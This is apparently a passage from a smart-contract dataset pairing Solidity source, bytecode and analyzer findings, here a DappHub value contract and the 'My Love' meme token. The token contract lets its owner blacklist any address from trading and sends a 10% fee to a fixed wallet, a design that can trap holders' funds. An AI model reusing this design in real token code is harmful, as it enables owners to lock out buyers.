bytes4 indexed sig,
address indexed guy,
bytes32 indexed foo,
bytes32 indexed bar,
uint256 wad,
bytes fax
) anonymous;
modifier note {
bytes32 foo;
bytes32 bar;
uint256 wad;
assembly {
foo := calldataload(4)
bar := calldataload(36)
wad := callvalue()
}
_;
emit LogNote(msg.sig, msg.sender, foo, bar, wad, msg.data);
}
}
// thing.sol - `auth` with handy mixins. your things should be DSThings
// Copyright (C) 2017 DappHub, LLC
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
contract DSThing is DSAuth, DSNote, DSMath {
function S(string memory s) internal pure returns (bytes4) {
return bytes4(keccak256(abi.encodePacked(s)));
}
}
contract DSValue is DSThing {
bool has;
bytes32 val;
function peek() public view returns (bytes32, bool) {
return (val,has);
}
function read() public view returns (bytes32) {
bytes32 wut; bool haz;
(wut, haz) = peek();
require(haz, "haz-not");
return wut;
}
function poke(bytes32 wut) public note auth {
val = wut;
has = true;
}
function void() public note auth { // unset the value
has = false;
}
}
|
0x608060405234801561001057600080fd5b50600436106100885760003560e01c80637a9e5e4b1161005b5780637a9e5e4b146101465780638da5cb5b1461018a578063ac4c25b2146101d4578063bf7e214f146101de57610088565b806313af40351461008d5780631504460f146100d157806357de26a4146100ff57806359e02dd71461011d575b600080fd5b6100cf600480360360208110156100a357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610228565b005b6100fd600480360360208110156100e757600080fd5b8101908080359060200190929190505050610371565b005b6101076104f2565b6040518082815260200191505060405180910390f35b610125610582565b60405180838152602001821515151581526020019250505060405180910390f35b6101886004803603602081101561015c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506105a0565b005b6101926106e7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101dc61070d565b005b6101e6610887565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610256336000357fffffffff00000000000000000000000000000000000000000000000000000000166108ac565b6102c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f64732d617574682d756e617574686f72697a656400000000000000000000000081525060200191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fce241d7ca1f669fee44b6fc00b8eba2df3bb514eed0f6f668f8f89096e81ed9460405160405180910390a250565b6000806000600435925060243591503490506103b1336000357fffffffff00000000000000000000000000000000000000000000000000000000166108ac565b610423576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f64732d617574682d756e617574686f72697a656400000000000000000000000081525060200191505060405180910390fd5b8360028190555060018060146101000a81548160ff02191690831515021790555081833373ffffffffffffffffffffffffffffffffffffffff166000357fffffffff00000000000000000000000000000000000000000000000000000000167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168460003660405180848152602001806020018281038252848482818152602001925080828437600081840152601f19601f82011690508083019250505094505050505060405180910390a450505050565b60008060006104ff610582565b80925081935050508061057a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260078152602001807f68617a2d6e6f740000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b819250505090565b600080600254600160149054906101000a900460ff16915091509091565b6105ce336000357fffffffff00000000000000000000000000000000000000000000000000000000166108ac565b610640576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f64732d617574682d756e617574686f72697a656400000000000000000000000081525060200191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f1abebea81bfa2637f28358c371278fb15ede7ea8dd28d2e03b112ff6d936ada460405160405180910390a250565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060006004359250602435915034905061074d336000357fffffffff00000000000000000000000000000000000000000000000000000000166108ac565b6107bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f64732d617574682d756e617574686f72697a656400000000000000000000000081525060200191505060405180910390fd5b6000600160146101000a81548160ff02191690831515021790555081833373ffffffffffffffffffffffffffffffffffffffff166000357fffffffff00000000000000000000000000000000000000000000000000000000167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168460003660405180848152602001806020018281038252848482818152602001925080828437600081840152601f19601f82011690508083019250505094505050505060405180910390a4505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156108eb5760019050610aff565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561094a5760019050610aff565b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156109a95760009050610aff565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b70096138430856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001935050505060206040518083038186803b158015610ac157600080fd5b505afa158015610ad5573d6000803e3d6000fd5b505050506040513d6020811015610aeb57600080fd5b810190808051906020019092919050505090505b9291505056fea265627a7a7231582061365822a1f60c3de3b45fae689d1fd9136db7ce2d2d71c02ee8ef34b55a677664736f6c634300050c0032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 4,272 |
0xd39b1384e6b54d5e80bc678b3439352ebe11d95e
|
/**
────────█████─────────────█████
────████████████───────████████████
──████▓▓▓▓▓▓▓▓▓▓██───███▓▓▓▓▓▓▓▓▓████
─███▓▓▓▓▓▓▓▓▓▓▓▓▓██─██▓▓▓▓▓▓▓▓▓▓▓▓▓███
███▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓███▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓███
██▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓█▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓██
██▓▓▓▓▓▓▓▓▓──────────────────▓▓▓▓▓▓▓▓██
██▓▓▓▓▓▓▓─██───████─█──█─█████─▓▓▓▓▓▓██
██▓▓▓▓▓▓▓─██───█──█─█──█─██────▓▓▓▓▓▓██
███▓▓▓▓▓▓─██───█──█─█──█─█████─▓▓▓▓▓▓██
███▓▓▓▓▓▓─██───█──█─█──█─██────▓▓▓▓▓▓██
─███▓▓▓▓▓─████─████─████─█████─▓▓▓▓███
───███▓▓▓▓▓──────────────────▓▓▓▓▓▓███
────████▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓████
─────████▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓████
───────████▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓█████
──────────████▓▓▓▓▓▓▓▓▓▓▓▓████
─────────────███▓▓▓▓▓▓▓████
───────────────███▓▓▓███
─────────────────██▓██
──────────────────███
Telegram: https://t.me/MyLovePortal
*/
pragma solidity ^0.8.4;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ElonLove is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "My Love";
string private constant _symbol = "LOVE";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0xd7dF75eBE49b823D28DEcE297AE6cc4F0DEaCcD9);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal.mul(2).div(100);
_maxWalletSize = _tTotal.mul(3).div(100);
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb14610339578063b87f137a14610359578063c3c8cd8014610379578063c9567bf91461038e578063dd62ed3e146103a357600080fd5b806370a082311461029a578063715018a6146102ba578063751039fc146102cf5780638da5cb5b146102e457806395d89b411461030c57600080fd5b8063273123b7116100e7578063273123b714610209578063313ce567146102295780635932ead114610245578063677daa57146102655780636fc3eaec1461028557600080fd5b806306fdde031461012f578063095ea7b31461017157806318160ddd146101a15780631b3f71ae146101c757806323b872dd146101e957600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b506040805180820190915260078152664d79204c6f766560c81b60208201525b60405161016891906119c3565b60405180910390f35b34801561017d57600080fd5b5061019161018c36600461184a565b6103e9565b6040519015158152602001610168565b3480156101ad57600080fd5b50683635c9adc5dea000005b604051908152602001610168565b3480156101d357600080fd5b506101e76101e2366004611876565b610400565b005b3480156101f557600080fd5b50610191610204366004611809565b61049f565b34801561021557600080fd5b506101e7610224366004611796565b610508565b34801561023557600080fd5b5060405160098152602001610168565b34801561025157600080fd5b506101e7610260366004611942565b610553565b34801561027157600080fd5b506101e761028036600461197c565b61059b565b34801561029157600080fd5b506101e76105f6565b3480156102a657600080fd5b506101b96102b5366004611796565b610623565b3480156102c657600080fd5b506101e7610645565b3480156102db57600080fd5b506101e76106b9565b3480156102f057600080fd5b506000546040516001600160a01b039091168152602001610168565b34801561031857600080fd5b506040805180820190915260048152634c4f564560e01b602082015261015b565b34801561034557600080fd5b5061019161035436600461184a565b6106f7565b34801561036557600080fd5b506101e761037436600461197c565b610704565b34801561038557600080fd5b506101e7610759565b34801561039a57600080fd5b506101e761078f565b3480156103af57600080fd5b506101b96103be3660046117d0565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103f6338484610b8d565b5060015b92915050565b6000546001600160a01b031633146104335760405162461bcd60e51b815260040161042a90611a18565b60405180910390fd5b60005b815181101561049b5760016006600084848151811061045757610457611b5f565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061049381611b2e565b915050610436565b5050565b60006104ac848484610cb1565b6104fe84336104f985604051806060016040528060288152602001611baf602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906110a4565b610b8d565b5060019392505050565b6000546001600160a01b031633146105325760405162461bcd60e51b815260040161042a90611a18565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461057d5760405162461bcd60e51b815260040161042a90611a18565b600e8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105c55760405162461bcd60e51b815260040161042a90611a18565b600081116105d257600080fd5b6105f060646105ea683635c9adc5dea00000846110de565b90611164565b600f5550565b600c546001600160a01b0316336001600160a01b03161461061657600080fd5b47610620816111a6565b50565b6001600160a01b0381166000908152600260205260408120546103fa906111e0565b6000546001600160a01b0316331461066f5760405162461bcd60e51b815260040161042a90611a18565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106e35760405162461bcd60e51b815260040161042a90611a18565b683635c9adc5dea00000600f819055601055565b60006103f6338484610cb1565b6000546001600160a01b0316331461072e5760405162461bcd60e51b815260040161042a90611a18565b6000811161073b57600080fd5b61075360646105ea683635c9adc5dea00000846110de565b60105550565b600c546001600160a01b0316336001600160a01b03161461077957600080fd5b600061078430610623565b90506106208161125d565b6000546001600160a01b031633146107b95760405162461bcd60e51b815260040161042a90611a18565b600e54600160a01b900460ff16156108135760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161042a565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108503082683635c9adc5dea00000610b8d565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561088957600080fd5b505afa15801561089d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c191906117b3565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090957600080fd5b505afa15801561091d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094191906117b3565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561098957600080fd5b505af115801561099d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c191906117b3565b600e80546001600160a01b0319166001600160a01b03928316179055600d541663f305d71947306109f181610623565b600080610a066000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a6957600080fd5b505af1158015610a7d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610aa29190611995565b5050600e805461ffff60b01b191661010160b01b17905550610ad360646105ea683635c9adc5dea0000060026110de565b600f55610aef60646105ea683635c9adc5dea0000060036110de565b601055600e8054600160a01b60ff60a01b19821617909155600d5460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610b5557600080fd5b505af1158015610b69573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061049b919061195f565b6001600160a01b038316610bef5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161042a565b6001600160a01b038216610c505760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161042a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d155760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161042a565b6001600160a01b038216610d775760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161042a565b60008111610dd95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161042a565b6000600a818155600b55546001600160a01b03848116911614801590610e0d57506000546001600160a01b03838116911614155b15611094576001600160a01b03831660009081526006602052604090205460ff16158015610e5457506001600160a01b03821660009081526006602052604090205460ff16155b610e5d57600080fd5b600e546001600160a01b038481169116148015610e885750600d546001600160a01b03838116911614155b8015610ead57506001600160a01b03821660009081526005602052604090205460ff16155b8015610ec25750600e54600160b81b900460ff165b15610fc757600f54811115610f195760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161042a565b60105481610f2684610623565b610f309190611abe565b1115610f7e5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161042a565b6001600160a01b0382166000908152600760205260409020544211610fa257600080fd5b610fad42601e611abe565b6001600160a01b0383166000908152600760205260409020555b600e546001600160a01b038381169116148015610ff25750600d546001600160a01b03848116911614155b801561101757506001600160a01b03831660009081526005602052604090205460ff16155b15611027576000600a908155600b555b600061103230610623565b600e54909150600160a81b900460ff1615801561105d5750600e546001600160a01b03858116911614155b80156110725750600e54600160b01b900460ff165b15611092576110808161125d565b47801561109057611090476111a6565b505b505b61109f8383836113e6565b505050565b600081848411156110c85760405162461bcd60e51b815260040161042a91906119c3565b5060006110d58486611b17565b95945050505050565b6000826110ed575060006103fa565b60006110f98385611af8565b9050826111068583611ad6565b1461115d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161042a565b9392505050565b600061115d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113f1565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561049b573d6000803e3d6000fd5b60006008548211156112475760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161042a565b600061125161141f565b905061115d8382611164565b600e805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112a5576112a5611b5f565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156112f957600080fd5b505afa15801561130d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061133191906117b3565b8160018151811061134457611344611b5f565b6001600160a01b039283166020918202929092010152600d5461136a9130911684610b8d565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac947906113a3908590600090869030904290600401611a4d565b600060405180830381600087803b1580156113bd57600080fd5b505af11580156113d1573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b61109f838383611442565b600081836114125760405162461bcd60e51b815260040161042a91906119c3565b5060006110d58486611ad6565b600080600061142c611539565b909250905061143b8282611164565b9250505090565b6000806000806000806114548761157b565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061148690876115d8565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114b5908661161a565b6001600160a01b0389166000908152600260205260409020556114d781611679565b6114e184836116c3565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161152691815260200190565b60405180910390a3505050505050505050565b6008546000908190683635c9adc5dea000006115558282611164565b82101561157257505060085492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006115988a600a54600b546116e7565b92509250925060006115a861141f565b905060008060006115bb8e878787611736565b919e509c509a509598509396509194505050505091939550919395565b600061115d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110a4565b6000806116278385611abe565b90508381101561115d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161042a565b600061168361141f565b9050600061169183836110de565b306000908152600260205260409020549091506116ae908261161a565b30600090815260026020526040902055505050565b6008546116d090836115d8565b6008556009546116e0908261161a565b6009555050565b60008080806116fb60646105ea89896110de565b9050600061170e60646105ea8a896110de565b90506000611726826117208b866115d8565b906115d8565b9992985090965090945050505050565b600080808061174588866110de565b9050600061175388876110de565b9050600061176188886110de565b905060006117738261172086866115d8565b939b939a50919850919650505050505050565b803561179181611b8b565b919050565b6000602082840312156117a857600080fd5b813561115d81611b8b565b6000602082840312156117c557600080fd5b815161115d81611b8b565b600080604083850312156117e357600080fd5b82356117ee81611b8b565b915060208301356117fe81611b8b565b809150509250929050565b60008060006060848603121561181e57600080fd5b833561182981611b8b565b9250602084013561183981611b8b565b929592945050506040919091013590565b6000806040838503121561185d57600080fd5b823561186881611b8b565b946020939093013593505050565b6000602080838503121561188957600080fd5b823567ffffffffffffffff808211156118a157600080fd5b818501915085601f8301126118b557600080fd5b8135818111156118c7576118c7611b75565b8060051b604051601f19603f830116810181811085821117156118ec576118ec611b75565b604052828152858101935084860182860187018a101561190b57600080fd5b600095505b838610156119355761192181611786565b855260019590950194938601938601611910565b5098975050505050505050565b60006020828403121561195457600080fd5b813561115d81611ba0565b60006020828403121561197157600080fd5b815161115d81611ba0565b60